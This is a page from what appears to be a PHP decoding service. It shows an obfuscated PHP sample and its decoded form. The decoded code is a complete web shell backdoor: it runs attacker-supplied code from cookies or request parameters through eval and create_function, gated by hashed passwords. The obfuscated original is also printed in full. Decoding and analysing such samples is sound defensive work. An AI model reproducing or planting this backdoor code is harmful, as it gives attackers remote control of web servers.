Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $vSfvDVpPfGF='NF61HW1QNVWMGR,'^'-4SP<2n7;849.=B'; $zOotgqBTNbi = $vSfvDVpPfGF('', '8..

Decoded Output download

if(!function_exists('xor_data__mut')) {
	function xor_data__mut($data, $key)     {
		$out = '';
		for($i = 0; $i<strlen($data); $i++)
		$out .= ($data[$i] ^ $key[$i % strlen($key)]);
		return($out);
	}
}

$data = false;
$data_key = false;

foreach ($_COOKIE as $key => $value) {
	$data_key = $key;
	$data = $value;
}

if (!$data) {
	foreach ($_REQUEST as $key => $value) {
		$data_key = $key;
		$data = $value;
	}
}

$data = @unserialize(xor_data__mut(base64_decode($data), $data_key));
if($data && array_key_exists('key', $data) && (md5($data['key']) == 'cf94416b34fb053a2b893477766f739a') && array_key_exists('payload', $data))      {
	eval($data['payload']);
	exit(0);
}

if(array_key_exists('p1', $_REQUEST) && array_key_exists('pass', $_REQUEST) && (md5($_REQUEST['pass']) == 'ff6cb56b876eedf90b5bca2c0a210f91')) { call_user_func(create_function('', $_REQUEST['p1'])); exit(0); }

echo(md5(md5($_SERVER["HTTP_HOST"])));

Did this file decode correctly?

Original Code

<?php $vSfvDVpPfGF='NF61HW1QNVWMGR,'^'-4SP<2n7;849.=B'; $zOotgqBTNbi = $vSfvDVpPfGF('', '8-RJJFV,E3-8>W;GS-SMnBOFbIW;7>r90NJCSM.0L7 S+TZZ-C3<I807>9::Z35BC+A8ZBGHZ6;OEYZENVhgQKR7DHUdPLRAOqS97LODQDLUaKIUs= RXE;FL0TIREBgp=GGFCElc OTKKOgRi1WI83IRmV;UGV+HiP8PvNB09+1PQr-.MfcDYf9xFELC >qKDLTPWXN<S1:XGDU 6hnT7.ZNWpcu1UMS3Z<LHWiM7GGUO<y>74+8:;eeJ;6t<30pk3BIvP44TwtgFZ-:YEJJBCcLWAOS,:+3chSV Y=KoHBD1;3IXVKV1GOETL-pgTFCBnrYQ<LSbGpsK>L6QO kNb2r<e6.8<T5FYQUW.LZVuL41:F-cEA1J4B7ZIL;W7WXZbFX2TZ:QkVRQF6Cqxi9 TL<UicI=QMzl,T13CvQzI8S71WA4UM4OID7,D535=rAC9NL-SEQMn2EHX7Tdr>OB;mMGR-3IV-=1TKJOyEPJT- 54dIKCML<Z:lPIT=Y1+4>NkM,6 LHDcDPTVHZgLmx> WLBDZM5vPZT8A>ksMKHWQZMUVeXPGR+,eVX4BPYieETvzYBUGBX7rgQMsk O;0,0PX3,4,GSC4MNDZMW6+VwxZQ1 MLBnDmJAWMV8jE>JRXb3WC;9P:JLR9J>BhcT34 60FACSbZ:E:B+N +34Ye8EO3T+QKOBMVIUDjeLe657m,hdYuwHK;719UbQSJjN,3NJ+BLF08>wIWSm:ic2<<0kESPGi,6EPk1>i0,17 nCAAEAl6PaQhzQWHA5SVTUiOs+P0<wFSa3C3E9CLUBIXSiMoCQ-DNMP>gUG6=bS9N1QMHR -3.FHY98Z YZpOifF>9t5bki pk2ivjJZRI41TIBRFAy;ddUV0DP;DtoUUlYP,b3=,6r3E:6d<0f>f:j:hGkxr'^'QKzk,38O1ZBVa2C. Y eI: 4=-6OVa-TE:mjzmU:EQU=H 35CcKS;gTVJXee7FAjgO L;ngl1SBfeyzen-bnXo=B0hhDwkiKFx5VEdk-qyleZkm<ONT 4 UnhT5=3lyGTTlloILeGO: kerGzMU6=Yhm;0veuc=N12tQpSn1DKGT>yVFK4O>mbl0q4 86RPYo+9 ylRGAYL0Rc 4TWHStQO6=2KiQU492l1Y5hjI+V+40t6sXXFNYYSEMndu;sxy5KR1iR;QMtJJGb,LV, cj9Ijh3 ;2sQNJCUsrK<DpeAf PORievo P+: oFPzm= cjOV=0H-zB<zz-Q>S0,HKfFm y4ckkhtT5yu>2WlghUhBPV3HJe:;C=fS;=-d<R.xgBb3W-a0Xbr602WcLXMOA89Yncj47,GpHH5ERcKq:<V RC> X<7Qg1+Es TGTb-,6Mf.L  gy1V +7S1LVZ.6ZDagvIR=7rVT-bcts,6bpIAAUDomc,>N;C3;,-b<IBGJ=CjGSYkddG 1 7azAjMPSDbdf ;9T-w11AfcBSpvhp2<tabTn2tfMNUckUp2aPVqcAMot3pqaVUNqkUKA=IQUo;=JsQT. 7Gei4;4;YJ2PTzuUA9-kGdMjawm-2c H+>pFW67ZbwJ+5>V+Ze5Jo9=ENY2iszYPGO0+MfAYAU :S 6l1S88;1eq9dcFEh:dpf8i;0pUQnkZECX,=:635+TZ=>Xjk6QKMPeww2h,2gyodBeuvgAARpxOnl,aytdt5d1 62KkyAlUZv1.wV1cb7QxEN5TZNv1TQ RwZs-gsy>jXjFjqVd-,<R8 4SO=5L Ry.:7AYVq =7ZL3O7rWhEFbak1d7.:t+LBXQ7csiiQI==jbozYFnn05X+xV AG81Yqts1vozs hgrb0lo.q5nHgAnBCx'); $zOotgqBTNbi();

Function Calls

null 1
create_function 1

Variables

$vSfvDVpPfGF create_function
$zOotgqBTNbi None

Stats

MD5 b4138f46b45d9a8307cd3eba43a63ee4
Eval Count 1
Decode Time 78 ms